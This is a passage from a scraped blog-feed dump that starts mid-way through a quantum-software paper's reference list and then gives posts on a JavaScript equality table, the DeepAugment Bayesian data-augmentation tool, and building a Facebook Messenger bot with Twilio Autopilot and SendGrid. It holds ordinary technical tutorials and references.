[13] I. M. Georgescu, S. Ashhab, Franco Nori, Quantum simulation, Rev. Mod. Phys. 86, 154 (2014), DOI: 10.1103/​RevModPhys.86.153.  https://doi.org/10.1103/RevModPhys.86.153 
[14] E. F. Dumitrescu, A. J. McCaskey, G. Hagen, G. R. Jansen, T. D. Morris, T. Papenbrock, R. C. Pooser, D. J. Dean, P. Lougovski, Cloud quantum computing of an atomic nucleus, Phys. Rev. Lett. 120, 210501 (2018), DOI: 10.1103/​PhysRevLett.120.210501.  https://doi.org/10.1103/PhysRevLett.120.210501 
[15] Lukasz Cincio, Yigit Subasi, Andrew T. Sornborger, and Patrick J. Coles, Learning the quantum algorithm for state overlap, New J. Phys. 20, 113022 (2018).  https://doi.org/10.1088/1367-2630/aae94a 
[16] Patrick J. Coles, Stephan Eidenbenz, Scott Pakin, et al., Quantum algorithm implementations for beginners, arXiv preprint (arXiv:1804.03719v1), 2018.  arXiv:1804.03719 
[17] Mark Fingerhuth, Open-Source Quantum Software Projects, accessed May 12, 2018.  https:/​/​github.com/​markf94/​os_quantum_software 
[18] Quantiki: List of QC Simulators, accessed May 12, 2018.  https:/​/​www.quantiki.org/​wiki/​list-qc-simulators 
[19] R. Smith, M. J. Curtis and W. J. Zeng, A practical quantum instruction set architecture, 2016.  arXiv:1608.03355 
[20] Qiskit, originally authored by Luciano Bello, Jim Challenger, Andrew Cross, Ismael Faro, Jay Gambetta, Juan Gomez, Ali Javadi-Abhari, Paco Martin, Diego Moreda, Jesus Perez, Erick Winston, and Chris Wood, https:/​/​github.com/​Qiskit/​qiskit-terra.  https:/​/​github.com/​Qiskit/​qiskit-terra 
[21] Damian S. Steiger, Thomas Häner, and Matthias Troyer ProjectQ: An open source software framework for quantum computing, 2016.  https://doi.org/10.22331/q-2018-01-31-49 
[22] Thomas Häner, Damian S. Steiger, Krysta M. Svore, and Matthias Troyer, A software methodology for compiling quantum programs, 2018 Quantum Sci. Technol. 3 020501.  https://doi.org/10.1088/2058-9565/aaa5cc 
[23] The Quantum Development Kit by Microsoft, https:/​/​github.com/​Microsoft/​Quantum.  https:/​/​github.com/​Microsoft/​Quantum 
[24] Michael A. Nielsen and Isaac L. Chuang, Quantum Computation and Quantum Information, 10th Anniversary Edition, Cambridge University Press, 2011.  https://doi.org/10.1017/CBO9780511976667.001 
[25] Doug Finke, Quantum Computing Report, https:/​/​quantumcomputingreport.com/​resources/​education/​, accessed May 26, 2018.  https:/​/​quantumcomputingreport.com/​resources/​education/​ 
[26] Forest: An API for quantum computing in the cloud, https:/​/​www.rigetti.com/​forest, accessed May 14, 2018.  https:/​/​www.rigetti.com/​forest 
[27] Andrew W. Cross, Lev S. Bishop, John A. Smolin, Jay M. Gambetta, Open quantum assembly language, 2017.  arXiv:1707.03429 
[28] Scott Aaronson, Daniel Gottesman, Improved Simulation of Stabilizer Circuits, Phys. Rev. A 70, 052328, 2004.  https://doi.org/10.1103/PhysRevA.70.052328 
[29] pyQuil License, github.com/​rigetticomputing/​pyquil/​blob/​master/​LICENSE, accessed June 7, 2018.  https:/​/​github.com/​rigetticomputing/​pyquil/​blob/​master/​LICENSE#L204 
[30] Microsoft Quantum Development Kit License, marketplace.visualstudio.com/​items/​quantum.DevKit/​license, accessed June 7, 2018.  https:/​/​marketplace.visualstudio.com/​items/​quantum.DevKit/​license 
[31] Hao Zhang, Chun-Xiao Liu, Sasa Gazibegovic, et al. Quantized Majorana conductance, Nature 556, 74-79 (05 April 2018).  https://doi.org/10.1038/nature26142 
[32] 16-qubit backend: IBM QX team, “ibmqx5 backend specification V1.1.0,'' (2018). Retrieved from https:/​/​ibm.biz/​qiskit-ibmqx5 and https:/​/​quantumexperience.ng.bluemix.net/​qx/​devices, accessed May 23, 2018.  https:/​/​ibm.biz/​qiskit-ibmqx5 
[33] Talia Gershon, Celebrating the IBM Q Experience Community and Their Research, March 8, 2018.  https:/​/​www.ibm.com/​blogs/​research/​2018/​03/​ibmq-published-research/​ 
[34] M. Reck, A. Zeilinger, H.J. Bernstein, and P. Bertani, Experimental realization of any discrete unitary operator, Physical Review Letters, 73, p. 58, 1994.  https://doi.org/10.1103/PhysRevLett.73.58 
[35] Ryan LaRose, Distributed memory techniques for classical simulation of quantum circuits, arXiv preprint (arXiv:1801.01037), 2018.  arXiv:1801.01037 
[36] Thomas Haner, Damian S. Steiger, 0.5 petabyte simulation of a 45-qubit quantum circuit, Proceedings of the International Conference for High Performance Computing, Networking, Storage and Analysis. SC 2017. Article No. 33.  https://doi.org/10.1145/3126908.3126947 
[37] Jianxin Chen, Fang Zhang, Cupjin Huang, Michael Newman, Yaoyun Shi, Classical simulation of intermediate-size quantum circuits, arXiv preprint (arXiv:1805.01450), 2018.  arXiv:1805.01450 
[38] Alwin Zulehner, Robert Wille, Advanced simulation of quantum computations, arXiv preprint (arXiv:1707.00865) (2017).  arXiv:1707.00865 
[39] Jarrod R. McClean, Ian D. Kivlichan, Kevin J. Sung, et al., OpenFermion: The electronic structure package for quantum computers, arXiv:1710.07629, 2017.  arXiv:1710.07629 
[1] Cirq: A Python framework for creating, editing, and invoking Noisy Intermediate Scale Quantum (NISQ) circuits, https:/​/​github.com/​quantumlib/​Cirq.  https:/​/​github.com/​quantumlib/​Cirq 
[2] Peter Selinger, Richard Eisenberg, et al., The Quipper Language, https:/​/​www.mathstat.dal.ca/​$\sim$selinger/​quipper/​.  https:/​/​www.mathstat.dal.ca/​~selinger/​quipper/​ 
[3] Alexander S. Green, Peter LeFanu Lumsdaine, Neil J. Ross, Peter Selinger, Benoît Valiron, Quipper: A Scalable Quantum Programming Language, ACM SIGPLAN Notices 48(6):333-342, 2013.  https://doi.org/10.1145/2499370.2462177 
[4] Alexander S. Green, Peter LeFanu Lumsdaine, et al, An introduction to quantum programming in quipper, Lecture Notes in Computer Science 7948:110-124, Springer, 2013, DOI: 10.1007/​978-3-642-38986-3_10.  https://doi.org/10.1007/978-3-642-38986-3_10 
[5] Ali Javadi Abhari, Arvin Faruque, et al., Scaffold: Quantum Programming Language, Technical Report, Department of Computer Science, Princeton University, 2012.  https:/​/​www.cs.princeton.edu/​research/​techreps/​TR-934-12 
[6] Ali Javadi-Abhari, Shruti Patil, Daniel Kudrow, Jeff Heckey, Alexey Lvov, Frederic Chong and Margaret Martonosi, ScaffCC: A Framework for Compilation and Analysis of Quantum Computing Programs, ACM International Conference on Computing Frontiers (CF 2014), Cagliari, Italy, May 2014.  https:/​/​github.com/​epiqc/​ScaffCC 
[7] Bernard Ömer, QCL: A Programming Language for Quantum Computers, version 0.6.4.  http:/​/​tph.tuwien.ac.at/​~oemer/​qcl.html 
[8] Berhnar Ömer, Quantum programming in QCL, Jan 2000.  http:/​/​tph.tuwien.ac.at/​~oemer/​doc/​quprog.pdf 
[9] Nathan Killoran, Josh Izaac, Nicolás Quesada, Ville Bergholm, Matthew Amy, Christian Weedbrook, Strawberry Fields: A Software Platform for Photonic Quantum Computing, Quantum 3, 129 (2019).  https://doi.org/	10.22331/q-2019-03-11-129 

Cited by

[1] Yipeng Huang and Margaret Martonosi, “QDB: From Quantum Algorithms Towards Correct Quantum Programs”, arXiv:1811.05447 (2018). 
[2] Hao Tang, Yan-Yan Zhu, Jun Gao, Marcus Lee, Peng-Cheng Lai, and Xian-Min Jin, “FeynmanPAQS: A Graphical Interface Program for Photonic Analog Quantum Computing”, arXiv:1810.02289 (2018). 
[3] N. L. Thompson, N. H. Nguyen, E. C. Behrman, and J. E. Steck, “Reverse engineering pairwise entanglement”, arXiv:1902.07754 (2019). 
[4] Sukin Sim, Yudong Cao, Jonathan Romero, Peter D. Johnson, and Alan Aspuru-Guzik, “A framework for algorithm deployment on cloud-based quantum computers”, arXiv:1810.10576 (2018). 
[5] Ciarán Ryan-Anderson, “Quantum Algorithms, Architecture, and Error Correction”, arXiv:1812.04735 (2018). 
The above citations are from SAO/NASA ADS  (last updated 2019-03-27 14:56:23). The list may be incomplete as not all publishers provide suitable and complete citation data. 
Could not fetch Crossref cited-by data (last attempt 2019-03-27 14:56:16): cURL error 28: Operation timed out after 0 milliseconds with 0 out of 0 bytes received 

This Paper is published in Quantum under the Creative Commons Attribution 4.0 International (CC BY 4.0) license. Copyright remains with the original copyright holders such as the authors or their institutions. 

via https://ift.tt/2UbHOYl</text><languageCode>en</languageCode><locationCode>br</locationCode><coordinates /><links><link>https://www.doi.org/10.22331/q-2019-03-25-130</link><link>https://www.arxiv.org/abs/1807.02500v2</link><link>https://www.scirate.com/arxiv/1807.02500v2</link><link>https://www.doi.org/10.22331/q-2019-03-25-130</link><link>http://citeseerx.ist.psu.edu/viewdoc/similar?doi=10.1.1.121.5017&amp;type=cc</link><link>https://www.doi.org/10.1140/epjd/e2003-00242-2</link><link>https://www.doi.org/10.1017/S0960129504004256</link><link>https://www.doi.org/10.1007/11417170_26</link><link>https://www.doi.org/10.1017/S0960129514000425</link><link>https://www.doi.org/10.1145/3009837.3009894</link><link>https://www.doi.org/10.1038/nchem.483</link><link>https://www.arxiv.org/abs/1706.05413</link><link>https://www.doi.org/10.1038/nature23474</link><link>https://www.doi.org/10.1038/nphys3029</link><link>https://www.doi.org/10.1103/PhysRevLett.118.066802</link><link>https://www.doi.org/10.1103/PhysRevA.98.022321</link><link>https://www.arxiv.org/abs/1805.00109v1</link><link>https://www.doi.org/10.1103/RevModPhys.86.153</link><link>https://www.doi.org/10.1103/PhysRevLett.120.210501</link><link>https://www.doi.org/10.1088/1367-2630/aae94a</link><link>https://www.arxiv.org/abs/1804.03719</link><link>https://www.github.com/markf94/os_quantum_software</link><link>https://www.quantiki.org/wiki/list-qc-simulators</link><link>https://www.arxiv.org/abs/1608.03355</link><link>https://www.github.com/Qiskit/qiskit-terra</link><link>https://www.doi.org/10.22331/q-2018-01-31-49</link><link>https://www.doi.org/10.1088/2058-9565/aaa5cc</link><link>https://www.github.com/Microsoft/Quantum</link><link>https://www.doi.org/10.1017/CBO9780511976667.001</link><link>https://www.quantumcomputingreport.com/resources/education</link><link>https://www.rigetti.com/forest</link><link>https://www.arxiv.org/abs/1707.03429</link><link>https://www.doi.org/10.1103/PhysRevA.70.052328</link><link>https://www.github.com/rigetticomputing/pyquil/blob/master/LICENSE#L204</link><link>https://marketplace.visualstudio.com/items/quantum.DevKit/license</link><link>https://www.doi.org/10.1038/nature26142</link><link>https://www.ibm.biz/qiskit-ibmqx5</link><link>https://www.ibm.com/blogs/research/2018/03/ibmq-published-research</link><link>https://www.doi.org/10.1103/PhysRevLett.73.58</link><link>https://www.arxiv.org/abs/1801.01037</link><link>https://www.doi.org/10.1145/3126908.3126947</link><link>https://www.arxiv.org/abs/1805.01450</link><link>https://www.arxiv.org/abs/1707.00865</link><link>https://www.arxiv.org/abs/1710.07629</link><link>https://www.github.com/quantumlib/Cirq</link><link>https://www.mathstat.dal.ca/~selinger/quipper</link><link>https://www.doi.org/10.1145/2499370.2462177</link><link>https://www.doi.org/10.1007/978-3-642-38986-3_10</link><link>https://www.cs.princeton.edu/research/techreps/TR-934-12</link><link>https://www.github.com/epiqc/ScaffCC</link></links><tags><tag>Future of Tech</tag><tag>Quantum Technology</tag><tag>Qubits</tag><tag>Qunews</tag><tag>Qupdate</tag></tags><images /><indexedAt>2019-03-27T18:11:19Z</indexedAt><publishedAt>2019-03-27T15:28:11Z</publishedAt><reindexedAt>2019-03-27T18:11:19Z</reindexedAt><inlinksCount>0</inlinksCount><blogId>14914364227301048991</blogId><blogName>Quantum Electronics</blogName><blogUrl>https://qutronics.wordpress.com</blogUrl><blogRank>1</blogRank><authority>0</authority></post><post><id>12941778215345714871</id><author>John Yeary</author><url>https://blog.johnyeary.com/2019/03/js-equality-table/</url><title>JS Equality Table</title><text>It seems I am always looking for the difference between == and ===.  I was looking at a response to a question on Stackoverflow when I found this gem. I am publishing it here in case anyone else needs a graphical explanation.



https://dorey.github.io/JavaScript-Equality-Table/</text><languageCode>en</languageCode><locationCode /><coordinates /><links><link>https://dorey.github.io/JavaScript-Equality-Table</link></links><tags><tag>Web</tag></tags><images /><indexedAt>2019-03-27T15:26:25Z</indexedAt><publishedAt>2019-03-27T15:25:39Z</publishedAt><reindexedAt>2019-03-27T15:26:25Z</reindexedAt><inlinksCount>0</inlinksCount><blogId>17753575914488247851</blogId><blogName>John Yeary</blogName><blogUrl>https://blog.johnyeary.com</blogUrl><blogRank>1</blogRank><authority>0</authority></post><post><id>12771105819564385786</id><author>Barış Özmen</author><url>https://blog.insightdatascience.com/automl-for-data-augmentation-e87cf692c366?source=rss----d02e65779d7b---4</url><title>AutoML for Data Augmentation</title><text>DeepAugment is an AutoML tool focusing on data augmentation. It utilizes Bayesian optimization for discovering data augmentation strategies tailored to your image dataset. The main benefits and features of DeepAugment are: Reduces the error rate of CNN models (showed 60% decrease in error for CIFAR10 on WRN-28–10)Saves time by automating the process50 times faster than Google’s previous solution–AutoAugmentThe finished package is on PyPI. You can install it from your terminal by running: $ pip install deepaugmentYou can also visit the project’s README or run the Google Colab notebook tutorial. To learn more about how I built this, read on! IntroductionData is the most critical piece of AI applications. Not having enough labeled data often leads to overfitting, which means the model will not be able to generalize to unseen examples. This can be mitigated by data augmentation, which effectively increases the amount and diversity of data seen by the network. It is done by artificially producing new data by applying transformations on an original dataset such as rotation, cropping, occlusion, etc. However, determining which augmentations will work best for the dataset at hand is no trivial task. To address this problem, Google published AutoAugment last year, which discovers optimized augmentations for the given dataset using reinforcement learning. Using Google’s AutoAugment requires powerful computational resources due to the reinforcement learning module. Since obtaining the necessary computational power can be costly, I developed a novel approach, DeepAugment, which employs Bayesian optimization instead of reinforcement learning. Ways to get better dataEfforts to improve the quality of data often have a higher return on investment than efforts to enhance models. There are three main ways to improve data: collecting more data, synthesizing new data, or augmenting existing data. Collecting additional data is not always possible and can be expensive. Data synthesis, done by GANs, is promising but complicated, and might diverge from realistic examples. Data augmentation, on the other hand, is simple and has high impact. It is applicable to most datasets and is done with simple image transformations. The problem, however, is determining which augmentation technique is best for the dataset at hand. Discovering the proper method requires time-consuming experimentation. Even after many experiments, a machine learning (ML) engineer may still not discover the best option. Effective augmentation strategies are different for each image dataset, and some augmentation techniques may even be detrimental to the model. For example, applying rotations would make your model worse if you are using it with the MNIST digits dataset, because a 180 degree rotation on a “6” would make it look like a “9”, while still being labeled as a 6. On the other hand, applying rotation to satellite images can improve results significantly since a car image from the air will still be a car, no matter how much it is rotated. DeepAugment: lightning fast autoMLDeepAugment is designed as a fast and flexible autoML data augmentation solution. More specifically, it is designed as a faster and more flexible alternative to AutoAugment (Cubuk et al., 2018, blog). AutoAugment was one of the most exciting publications in 2018, and the first method using reinforcement learning for this particular problem. At the time of this article, the open source version of AutoAugment did not provide the controller module, which prevents users from running it for their own datasets. Moreover, it takes 15,000 iterations to learn augmentation policies, requiring huge computational resources. Most people could not benefit from it even if its source code was fully available. DeepAugment addresses these problems with the following design goals: Minimize the computational complexity of the optimization of data augmentation while maintaining the quality of results.Be modular and user-friendly.In order to achieve the first goal, DeepAugment was designed with the following differences, as compared to AutoAugment: Utilizes Bayesian optimization instead of reinforcement learning (requires fewer iterations) (~100x speed-up)Minimizes size of child model (decreases computational complexity of each training) (~20x speed-up)Less stochastic augmentation search space design (decreases number of iterations needed)To achieve the second goal, making DeepAugment modular and user-friendly, the user interface is designed in a way that gives the user a broad configuration of possibilities and model selections (e.g. selecting the child model or inputting a self-designed child model, see configuration options). Designing augmentation policiesDeepAugment aims to find the best augmentation policy for a given image dataset. An augmentation policy is defined as the sum of five sub-policies, which are made from two types of augmentation techniques and two real-values [0, 1], determining how powerfully each augmentation technique will be applied. I implemented augmentation techniques using the imgaug package, which is known for its large collection of augmentation techniques (see below). Augmentations are most effective when they are diverse and randomly applied. For instance, instead of rotating every image, it is better to rotate some portion of images, shear another portion, and apply a color inversion for another. Based on this observation, DeepAugment applies one of five sub-policies (consisting of two augmentations) randomly to the images. During the optimization process, each image has an equal chance (16%) of being augmented by one of five sub-policies and a 20% chance of not being augmented at all. While I was inspired by AutoAugment for this policy design, there is one main difference: I do not use any parameters for the probability of applying sub-policies in order to make policies less stochastic and allow optimization in fewer iterations. This policy design creates a 20-dimensional search space for the Bayesian optimizer, where 10 dimensions are categorical (type of augmentation technique) and the other 10 are real-values (magnitudes). Since categorical values are involved, I configured the Bayesian optimizer to use a random forest estimator. How DeepAugment finds the best policiesThe three major components of DeepAugment are the controller (Bayesian optimizer), the augmenter, and the child model, with the overall workflow as follows: the controller samples new augmentation policies, the augmenter transforms images by the new policy, and the child model is trained from scratch by the augmented images. A reward is calculated from the child model’s training history. The reward is returned back to the controller, and it updates its surrogate model with this reward and associated augmentation policy (see section “How Bayesian optimization works” below). The controller then samples new policies again and the same steps repeat. This process cycles until the user-determined maximum number of iterations are reached. The controller (Bayesian optimizer) is implemented using scikit-optimize library’s ask-and-tell method. It is configured to use a random forest estimator as its base estimator and expected improvement as its acquisition function. Basic workflow of DeepAugmentHow Bayesian optimization worksThe aim of Bayesian optimization is to find a set of parameters that maximize the value of the objective function. A working cycle of Bayesian optimization can be summarized as: Build a surrogate model of the objective functionFind parameters that perform best on the surrogateExecute the objective function with these parametersUpdate the surrogate model with these parameters and the score of the objective functionRepeat steps 2–4 until the maximum number of iterations is reachedFor more information about Bayesian optimization, read this blog explaining it at a high-level, or take a glance at this review paper. A 2D depiction of Bayesian optimization, where x and y axes represent types of augmentation, and the color at point (i,j) represents CNN model accuracy when it is trained with the data augmented by augmentation i and j.Trade-offs of Bayesian optimizationCurrently, the standard approaches used for hyper-parameter optimization are random search, grid search, Bayesian optimization, evolutionary algorithms, and reinforcement learning, in the order of method complexity. Bayesian optimization is a better choice than grid search and random search in terms of accuracy, cost, and computation time for hyper-parameter tuning (see an empirical comparison here). This is due to the fact that Bayesian optimization learns from runs with the previous parameters, contrary to grid search and random search. When Bayesian optimization is compared against reinforcement learning and evolutionary algorithms, it provides competitive accuracies while requiring far fewer iterations. Google’s AutoAugment, for example, iterates 15,000 times in order to learn good policies (which means training the child CNN model 15,000 times). Bayesian optimization, on the other hand, learns good polices in 100–300 iterations. A rule of thumb for Bayesian optimization is making the number of iterations as much as the number of optimized parameters times 10. An intuitive comparison of hyper-parameter optimization approaches. Number of plus signs (+) indicates how good the approach is, by comparison category.Challenges and solutionsChallenge 1: Optimizing for augmentation requires a lot of computational resources, since the child model should be trained from scratch over and over. This dramatically slowed down the development process of my tool. Even though usage of Bayesian optimization made it faster, the optimization process was still not fast enough to make development feasible. Solutions: I developed two solutions. First, I optimized the child CNN model (see below), which is the computational bottleneck of the process. Second, I designed augmentation policies in a more deterministic way, making the Bayesian optimizer require fewer iterations. Designed child CNN model. It trains in ~30 seconds (120 epochs) with 32x32 images on an AWS p3.2x large instance (Tesla V100 GPU with 112 TensorFLOPS)Challenge 2: I encountered an interesting problem during the development of DeepAugment. During the optimization of augmentations by training the child model over and over, they started to overfit to the validation set. I discovered that my best-found policies perform poorly when I changed the validation set. This is an interesting case because it is different than overfitting, in the general sense, where model weights are overfitting to the noise in the data. Solution: Instead of using the same validation set, I reserved the rest of the data and the training data as the "seed validation set", and sampled a validation set with 1000 images at each training of the child CNN model (see data pipeline below). This solved the augmentation overfitting problem. How to integrate into your ML pipelineDeepAugment is published on PyPI. You can install it from your terminal by running: $ pip install deepaugmentAnd usage is easy: from deepaugment.deepaugment import DeepAugment  deepaug = DeepAugment(my_images, my_labels)  best_policies = deepaug.optimize()A more advanced usage, by configuring DeepAugment: from keras.datasets import cifar10  # my configuration my_config = {     "model": "basiccnn",     "method": "bayesian_optimization",     "train_set_size": 2000,     "opt_samples": 3,     "opt_last_n_epochs": 3,     "opt_initial_points": 10,     "child_epochs": 50,     "child_first_train_epochs": 0,     "child_batch_size": 64 }  (x_train, y_train), (x_test, y_test) = cifar10.load_data() # X_train.shape -&gt; (N, M, M, 3) # y_train.shape -&gt; (N) deepaug = DeepAugment(x_train, y_train, config=my_config)  best_policies = deepaug.optimize(300)For more detailed installation/usage information, visit the project's README or run the Google Colab notebook tutorial. ConclusionTo our knowledge, DeepAugment is the first method utilizing Bayesian optimization to find the best data augmentations. Optimization of data augmentation is a recent research area, and AutoAugment was one of the first methods tackling this problem. The main contribution of DeepAugment to the open-source community is that it makes the process scalable, enabling users to optimize augmentation policies without needing huge computational resources*. It is very modular and &gt;50 times faster than the previous solution, AutoAugment. Comparison of validation accuracies of WideResNet-28-10 CNN model with CIFAR10 images when they are augmented by policies found by DeepAugment, and when they are not augmented. Validation accuracy is increased by 8.5%, equivalent to 60% reduction in error.DeepAugment is shown to reduce error by 60% for a WideResNet-28-10 model using the CIFAR-10 small image dataset when compared to the same model and dataset without augmentation. DeepAugment currently only optimizes augmentations for the image classification task. It could be expanded to optimize for object detection or segmentation tasks, and I welcome your contributions if you would like to do so. However, I would expect that the best augmentation policies are very dependent on the type of dataset, and less so on the task (such as classification or object detection). This means AutoAugment should find similar strategies regardless of the task, but it would be very interesting if these strategies end up being very different! While DeepAugment currently works for image datasets, it would be very interesting to extend it for text, audio or video datasets. The same concept is applicable to other types of datasets as well. *DeepAugment takes 4.2 hours (500 iterations) on CIFAR-10 dataset which costs around $13 using AWS p3.x2large instance. Want to advance your career in Data Science and Artificial Intelligence? The deadline to apply is April 1st for SV and NYC! Learn more about the Artificial Intelligence program at Insight! ResourcesGitHub: github.com/barisozmen/deepaugment Demo slide deck: bit.ly/deepaugmentslides Colab tutorial: bit.ly/deepaugmentusage AutoML for Data Augmentation was originally published in Insight Data on Medium, where people are continuing the conversation by highlighting and responding to this story.</text><languageCode>en</languageCode><locationCode>us</locationCode><coordinates /><links><link>https://www.github.com/barisozmen/deepaugment</link><link>https://ai.googleblog.com/2018/06/improving-deep-learning-performance.html</link><link>https://www.pypi.org/project/deepaugment</link><link>https://www.github.com/barisozmen/deepaugment</link><link>http://www.bit.ly/deepaugmentusage</link><link>https://ai.googleblog.com/2018/06/improving-deep-learning-performance.html</link><link>https://en.wikipedia.org/wiki/Reinforcement_learning</link><link>https://www.github.com/barisozmen/deepaugment</link><link>https://app.sigopt.com/static/pdf/SigOpt_Bayesian_Optimization_Primer.pdf</link><link>https://www.arxiv.org/abs/1406.2661</link><link>http://yann.lecun.com/exdb/mnist</link><link>https://www.arxiv.org/abs/1805.09501</link><link>https://ai.googleblog.com/2018/06/improving-deep-learning-performance.html</link><link>https://www.github.com/tensorflow/models/tree/master/research/autoaugment</link><link>https://www.github.com/barisozmen/deepaugment#configuration-options</link><link>https://www.github.com/aleju/imgaug</link><link>https://scikit-optimize.github.io/</link><link>https://www.towardsdatascience.com/a-conceptual-explanation-of-bayesian-model-based-hyperparameter-optimization-for-machine-learning-b8172278050f</link><link>https://ieeexplore.ieee.org/document/7352306</link><link>https://www.mlconf.com/blog/lets-talk-bayesian-optimization</link><link>https://www.arxiv.org/abs/1805.09501</link><link>https://www.pypi.org/project/deepaugment</link><link>https://www.github.com/barisozmen/deepaugment</link><link>http://www.bit.ly/deepaugmentusage</link><link>https://apply.insightdatascience.com/start/?utm_source=automl&amp;utm_medium=blog&amp;utm_content=bottom</link><link>http://www.insightdata.ai/?utm_source=representations&amp;utm_medium=blog&amp;utm_content=top</link><link>https://www.github.com/barisozmen/deepaugment</link><link>https://www.bit.ly/deepaugmentslides</link><link>https://www.bit.ly/deepaugmentusage</link><link>https://blog.insightdatascience.com/automl-for-data-augmentation-e87cf692c366</link><link>https://blog.insightdatascience.com/</link></links><tags><tag>automl</tag><tag>machine-learning</tag><tag>convolution-neural-net</tag><tag>insight-ai</tag><tag>artificial-intelligence</tag></tags><images /><indexedAt>2019-03-27T18:44:09Z</indexedAt><publishedAt>2019-03-27T15:25:37Z</publishedAt><reindexedAt>2019-03-27T18:44:09Z</reindexedAt><inlinksCount>0</inlinksCount><blogId>11318485620436307719</blogId><blogName>Insight Data - Medium</blogName><blogUrl>https://blog.insightdatascience.com?source=rss----d02e65779d7b---4</blogUrl><blogRank>1</blogRank><authority>1</authority></post><post><id>6271840908360104801</id><author>Lizzie Siegle</author><url>https://www.twilio.com/blog/build-a-facebook-messenger-bot-with-twilio-autopilot-functions-and-sendgrid-in-node-js</url><title>Build a Facebook Messenger bot with Twilio Autopilot, Functions, and SendGrid in Node.js</title><text>For event-organizers and business-owners, providing quick 24/7 customer service can be tough. I help run a hackathon for women and non-binary people and our Facebook page has to respond to so many questions, like when the event is happening, if we're looking for new organizing team members, when hacker applications open, and more! Answering these can get repetitive and tedious--if only there was a way for us developers to automate the process! 
 
Never fear, this step-by-step tutorial will show you how to build an intelligent Facebook Messenger bot with Twilio Autopilot, Functions, and SendGrid in Node.js. If the Autopilot assistant gets stuck and the user wants to speak to a human, the assistant will hand off the conversation to the business, connecting them with a human via Email for a seamless customer experience. 
 
Setup
Before you get started, you will need to have a Facebook Page for your brand or business. If you don't have one, follow these instructions to create one. 
To link your Facebook page with Twilio, you must install Facebook Messenger for Autopilot. In the Configure tab, scroll down to Properties and check Use in -&gt; Programmable SMS Inbound as shown below. 
 
Scroll down a bit to the Credentials section and click the Facebook Login button to link. Follow the directions to link your Facebook page with your Twilio Account until you see a page like this: 
 
Again under Credentials, select the Facebook page you want to build your Bot for and click Save. Now go to your Autopilot console and either make a new Autopilot Assistant by clicking the red plus button or select one you've already made. Click Channels on the left-hand panel and scroll down to select Facebook Messenger. Copy that Configuration URL below. 
 
Paste the URL in the Callback URL field back on your Facebook Messenger Configuration page.  
  
Click Save and take your phone or laptop to visit https://messenger.com or the Facebook Messenger mobile app. Send any message to your Facebook page. You should see a reply "This is your new Task." 
 
Lastly, you will need a SendGrid account to get an API key. In the Twilio Functions Configuration section, save it as the environment variable SENDGRID_API_KEY like so: 
 
Now it can be referenced with context.SENDGRID_API_KEY in any of your Twilio Functions. 
Make your First Task
Autopilot lets you perform different "actions" in whatever job you want to get done with it. You can use "Say" to communicate something to the user, "Handoff" to pass on the communication to a human, "Redirect" to hit a webhook to perform something different next, "Collect" to gather data, and more. 
From the Autopilot console go to Task Builder for your Autopilot assistant. Replace the "This is your new Task" text with the following (the text below is for our women's hackathon page.) 



    {
        "actions": [
                {
                        "say": "Hi! Spectra hosts full-day events in the Bay Area for women and non-binary people in tech. Spectra 2.0 was held at Domino Data Lab in 2018 and our inaugural women's hackathon was at YouTube HQ in July 2016. Never fear! We're currently planning our 2019 event."
                }
        ]
}



Now it's time to add some training samples that will prompt that hello_world response we just added. Click on the modify button as shown below, followed by View Samples. 
 
Then click on the expand button next to the text field to add multiple samples on different lines at once. 
 
Feel free to add whatever sample sentences you want or copy the following: 



    What page is this
hi
What is spectra
Hello
What are you
Who is this
Who are you
What business is this
What is this page
What is spectra women's hackathon



You should have at least ten samples for each task so your Assistant has enough data to properly map user input to the task. Press the red "+" button on the right of the text field to add them. 
 
  
After making all these changes to the Autopilot Assistant we need to create a new model. Go to the Build Models tab under the Natural Language Router and create a new Model Build with a name like "v0.1". 
 
You can add other static tasks for our Facebook Messenger bot using the same directions as above. Let's now move on to making a dynamic task. 
 
Make a Dynamic Task
Most tasks are static and require a fairly straightforward answer. However, say you want to extract some important data from a sample. This data could vary depending on the user. In the case of the women's hackathon, the user messaging the Facebook page may want to speak with a human and the hackathon organizers may want to get the user's email to contact them. 
Go to the Configure Functions section of Twilio Runtime. Click the red "+" button under Dependencies to add a NPM module. In the name box type @sendgrid/mail and under version add 6.3.1. 
Save it and click Manage under Overview. Select the red "+" button to create a new "Blank" function. Give it a name like "Start Email Conversation With User" and add a path like /getemail. Change the code of your Function to the following: 



    exports.handler = function(context, event, callback) {
    const sgMail = require('@sendgrid/mail');
    sgMail.setApiKey(context.SENDGRID_API_KEY);
    const moment = require('moment');
    let memory = JSON.parse(event.Memory);
    let first_name = memory.twilio.collected_data.email_user.answers.first_name.answer || 'to whom it may concern';
    let email = memory.twilio.collected_data.email_user.answers.email.answer;
    console.log("first name ", first_name, "email ", email);
    const msg = {
        to: email,
        from: context.FROM_EMAIL_ADDRESS,
        subject: `Hi From Spectra!`,
        text: `Hi, ${first_name}! This is Lizzie from Spectra. Thanks for speaking with our Facebook bot, and now you're speaking with me! How can I help you?`
    };
    sgMail.send(msg)
    .then(response =&gt; {
        const resp = {
            actions: [
            {
                say: "Thank your for talking with our bot. You will receive an email via SendGrid connecting you with a Spectra human soon."
                }         
                ]
        }
        callback(null, resp);
    })
    .catch(err =&gt; {
      callback(err);
    });
}



What does this code do? We import some required libraries, get the answers the user gave us (their first name and then their email), print out their answers, send an email via SendGrid kicking off a conversation between yourself and the user, and then respond to the user via Facebook Messenger. 
Using `${first_name}` accesses the first name the user provided, helping humanize and personalize the interaction.   
Now go back to Task Builder and make a new task called email_user. Add these samples, or similar ones: 



    I need help
My questions aren't being answered
You're not helping
This isn't helping
I want to speak to a human
My question isn't answered
Help
help me
aid me
I need a human



Then make a Task called email_user and add the following code and replace the value in redirect with your own Twilio Function URL: 



    {
    "actions": [
        {
            "collect": {
                "name": "email_user",
                "questions": [
                    {
                        "question": {
                            "say": "We're sorry we can't chat with you right now to help. What's your first name?"
                        },
                        "name": "first_name",
                        "type": "Twilio.FIRST_NAME"
                    },
                    {
                        "question": {
                            "say": "What is your email?"
                        },
                        "name": "email",
                        "type": "Twilio.EMAIL"
                    }
                ],
                "on_complete": {
                    "redirect": "https://your-function-url.twil.io/getemail"
                }
            }
        }
    ]
}



This code will make the bot prompt you for your first name and then your email after you messaged something that it identified as a match for the help task. Then your Twilio Function is triggered to send an email. 
Create a new Build Model, build your Autopilot assistant again, and test out your bot by sending something like "can you help me?" 



What's Next
 
Autopilot makes it so easy to automate certain tasks yet also to pass on other tasks to real people to humanize online interactions. Next up on my bot agenda is to build a Facebook Page and corresponding Messenger bot for my personal tech events newsletter. Let me know in the comments or online what Facebook bots you want to build next! 
